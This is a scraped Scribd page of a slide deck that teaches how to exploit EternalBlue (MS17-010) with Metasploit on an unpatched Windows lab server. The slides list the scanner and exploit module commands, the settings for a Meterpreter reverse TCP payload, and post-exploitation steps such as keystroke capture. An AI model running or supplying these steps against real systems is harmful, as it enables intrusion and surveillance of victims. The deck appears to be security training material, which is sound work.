Scribd
Upload
73 views19 pages

Exploiting Eternal Blue with Metasploit

The document discusses the Eternal Blue exploit, part of the Eternal Series released by the Shadow Brokers Group, which targets vulnerabilities in the Server Message Block (SMB) protocol of Microsoft Windows. It details the exploitation process using Metasploit, including steps for detecting vulnerability, running the exploit, and verifying target compromise. Additionally, it mentions other exploits in the series and provides a brief overview of the toolkit's origins linked to the Equation Group and the NSA.

Uploaded by

ch.sania9999
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
73 views19 pages

Exploiting Eternal Blue with Metasploit

The document discusses the Eternal Blue exploit, part of the Eternal Series released by the Shadow Brokers Group, which targets vulnerabilities in the Server Message Block (SMB) protocol of Microsoft Windows. It details the exploitation process using Metasploit, including steps for detecting vulnerability, running the exploit, and verifying target compromise. Additionally, it mentions other exploits in the series and provides a brief overview of the toolkit's origins linked to the Equation Group and the NSA.

Uploaded by

ch.sania9999
Copyright
© All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd

Eternal Blue Exploit using Metasploit

Eternal Series
On April 14, 2017, the Shadow Brokers Group released the FUZZBUNCH framework, an exploitation
toolkit for Microsoft Windows.

The toolkit was allegedly written by the Equation Group, a highly sophisticated threat actor
suspected of being tied to the United States National Security Agency (NSA).

This documents lists five exploits from Lost in Translation leak namely
• Eternal Blue,
• Eternal Synergy,
• Eternal Romance,
• Eternal Champion,
• Eternal Red.

These five exploits exploit the Server Message Block (SMB) in Windows and Linux Operating System.

2
Eternal Series

Eternal series

Eternal Blue Eternal Red Eternal Romance Eternal Synergy Eternal Champion

Windows Server
Windows 7 x64 Kali Linux 2016.2
2016, Windows Windows Server
SP1, Windows with vulnerable Windows XP SP3
8.1 Pro, Windows 2012
8/8.1 Pro SAMBA server
10 Build 10240

3
Eternal Blue

Also known as MS17-010, is a vulnerability in Microsoft's Server Message Block (SMB)


protocol.

SMB allows systems to share access to files, printers, and other resources on the
network.

Earlier versions of SMB contain a flaw that lets an attacker establish a null session
connection via anonymous login.

Unpatched copy of Windows Server 2008 R2, download from Microsoft

4
Check whether target is vulnerable to Eternal Blue

5
Detecting phase (target is vulnerable to Eternal blue)
• Steps
• Msfconsole
• Search smb_ms17_010
• use auxiliary/scanner/smb/smb_ms17_010
• Set Rhost IP
• Run

6
Eternal Blue Exploitation
1. Find a Module to Use
• Open up the terminal and start Metasploit.
• Type service postgresql start to initialize the PostgreSQL database

7
Eternal Blue Exploitation
1. Open Msfconsole

2. Search eternalblue

8
Eternal Blue Exploitation
2. Search eternalblue

Perform the necessary recon(use auxiliary/scanner/smb/smb_ms17_010,options, set rhosts [Link],


#run, Host is vulnerable to the exploit?)
9
Eternal Blue Exploitation
• If target is vulnerable to EternalBlue
3. Use exploit/windows/smb/ms17_010_eternalblue

10
Eternal Blue Exploitation
4. Run the Module: Show options

11
Eternal Blue Exploitation
4. set rhost [Link]

Load the trusty reverse_tcp shell as the payload.


5. Set payload windows/x64/meterpreter/reverse_tcp

12
Eternal Blue Exploitation
6. Show options

13
Eternal Blue Exploitation
7. Set lhost [Link]

8. Show options

14
Eternal Blue Exploitation
Use the run command to fire it off.
8. Run /exploit

15
Eternal Blue Exploitation
• SMB connection being established
• The exploit packet being sent
• Meterpreter session is opened

16
Eternal Blue Exploitation
9. Verify the Target Is Compromised
• obtain operating system information.
• sysinfo

17
Eternal Blue Exploitation
9. Verify the Target Is Compromised
• for current username
• getuid

18
Eternal Blue Exploitation
9. Find other details
• Capture screenshot
• Upload a file
• Capture keystrokes

• [Link]

19

You might also like